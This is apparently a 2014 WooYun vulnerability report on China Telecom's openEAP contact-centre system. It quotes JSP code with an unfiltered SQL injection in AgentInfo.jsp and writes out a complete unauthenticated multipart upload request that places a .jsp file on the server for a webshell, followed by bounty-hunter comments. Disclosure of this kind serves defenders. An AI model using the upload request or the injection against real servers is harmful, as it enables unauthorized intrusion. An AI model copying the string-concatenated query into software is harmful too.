中国电信全国客服openEAP通用注入加无需登录getwebshell

中国电信openEAP的agent.war包下app/enterprise/AgentInfo.jsp页面，末对参数进行过滤，导致注入漏洞。

<%
  String AId = request.getParameter("AgentId"); //获取AgentID参数
  if(AId == null) AId = "";
 
  String AutoAnswer = "true";
  String MusicAlert = "true";
  String MonitorType = "0";
  String MonitorObject = "1";
  String WorkService = "";
  String AgentRole = "101";
  String CallOutLimited = "";
  String EntIdList = "";
  String EntNameList = "";
 
  if(!AId.equals("")) {
   //查询坐席工号是否存在
   QueryHelper qh = new QueryHelper();
   String sql = "SELECT * FROM SYS_AGENT WHERE AGENTID = '" + AId + "'"; //末过滤带入查询
   List list = qh.executeQuery(sql); //查询
   if(list.size() > 0) {
    RowModel row = (RowModel)list.get(0);
    AutoAnswer = row.getColumnValue("AutoAnswer");
    MusicAlert = row.getColumnValue("MusicAlert");
    MonitorType = row.getColumnValue("MonitorType");
    MonitorObject = row.getColumnValue("MonitorObject");
    WorkService = row.getColumnValue("WorkService");
    AgentRole = row.getColumnValue("Free1");
    CallOutLimited = row.getColumnValue("Free2");
    EntIdList = row.getColumnValue("Free3");
    EntNameList = row.getColumnValue("Free4");
   }
  }
 %>

数据库：sybase。

截图：

另外提下，这套系统其实不需要登录。就可以getwebshell

这个不知道为什么要爆破额。

http://**.**.**.**/bugs/wooyun-2014-074181

无需登录上传点：

POST /info/servletinfo?funcid=upload HTTP/1.1
 Host: **.**.**.**:9080
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://**.**.**.**:9080/info/maintain/display.jsp?dsName=whinfo_ds&infoId=10&&Code=
 Connection: keep-alive
 Content-Type: multipart/form-data; boundary=---------------------------184676857810583403552066782031
 Content-Length: 352
 
 -----------------------------184676857810583403552066782031
 Content-Disposition: form-data; name="funcid"
 
 
 -----------------------------184676857810583403552066782031
 Content-Disposition: form-data; name="tt"; filename="wooyun.jsp"
 Content-Type: application/octet-stream
 
 test
 
 -----------------------------184676857810583403552066782031--

上传后的路径：/suntek_eap_info_file_dir/attach/public/wooyun.jsp

过滤加权限验证

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2014-09-07 09:26

厂商回复：

最新状态：

暂无

1. 2014-09-02 16:09 | magerx ( 普通白帽子 | Rank:261 漏洞数:46 | 别说话。)

   0

   我来怒看坑总

   1# 回复此人

2. 2014-09-02 16:12 | pandas ( 普通白帽子 | Rank:730 漏洞数:84 | 国家特级保护动物)

   0

   我也来怒看坑总

   2# 回复此人

3. 2014-09-02 17:37 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

   0

   静静的膜拜、、

   3# 回复此人

4. 2014-09-02 17:38 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子， 但是除了他华...)

   0

   什么情况？ 刚提交就发$？

   4# 回复此人

5. 2014-09-02 17:41 | scanf ( 核心白帽子 | Rank:1694 漏洞数:237 | 。)

   0

   操，错过了

   5# 回复此人

6. 2014-09-02 17:48 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

   0

   什么情况？刚提交就发$？

   6# 回复此人

7. 2014-09-02 18:01 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想，没有道德，没有自由，没有人权的...)

   0

   早知道就不把漏洞提360了,周期长不说.还TMD乱定价!

   7# 回复此人

8. 2014-09-02 18:03 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想，没有道德，没有自由，没有人权的...)

   0

   以上言论纯属扯淡,别当真了

   8# 回复此人

9. 2014-09-02 18:04 | magerx ( 普通白帽子 | Rank:261 漏洞数:46 | 别说话。)

   0

   @Finger 据说通用型从提交到发钱又更给力了

   9# 回复此人

10. 2014-09-02 18:12 | Finger ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    0

    @magerx 必须的

    10# 回复此人

11. 2014-09-02 18:14 | saline ( 普通白帽子 | Rank:304 漏洞数:38 | Focus On Web Secur1ty)

    0

    @magerx 牛逼阿，3个$

    11# 回复此人

12. 2014-09-02 18:36 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    @Finger 乌云有雄起了吗，这个是已经给钱了吗

    12# 回复此人

13. 2014-09-02 18:58 | Finger ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    0

    @贫道来自河北 是啊

    13# 回复此人

14. 2014-09-02 21:03 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    0

    $ $

    14# 回复此人

15. 2014-09-02 23:46 | Moogong ( 实习白帽子 | Rank:33 漏洞数:8 | 伪法医)

    0

    洞主的动作比我快一步啊！

    15# 回复此人

16. 2014-09-03 13:48 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想，没有道德，没有自由，没有人权的...)

    0

    @Moogong 赚点口粮钱^_^

    16# 回复此人

17. 2014-12-01 19:47 | ywledoc ( 路人 | Rank:8 漏洞数:3 | 长期小打小闹)

    1

    坑点霸气

    17# 回复此人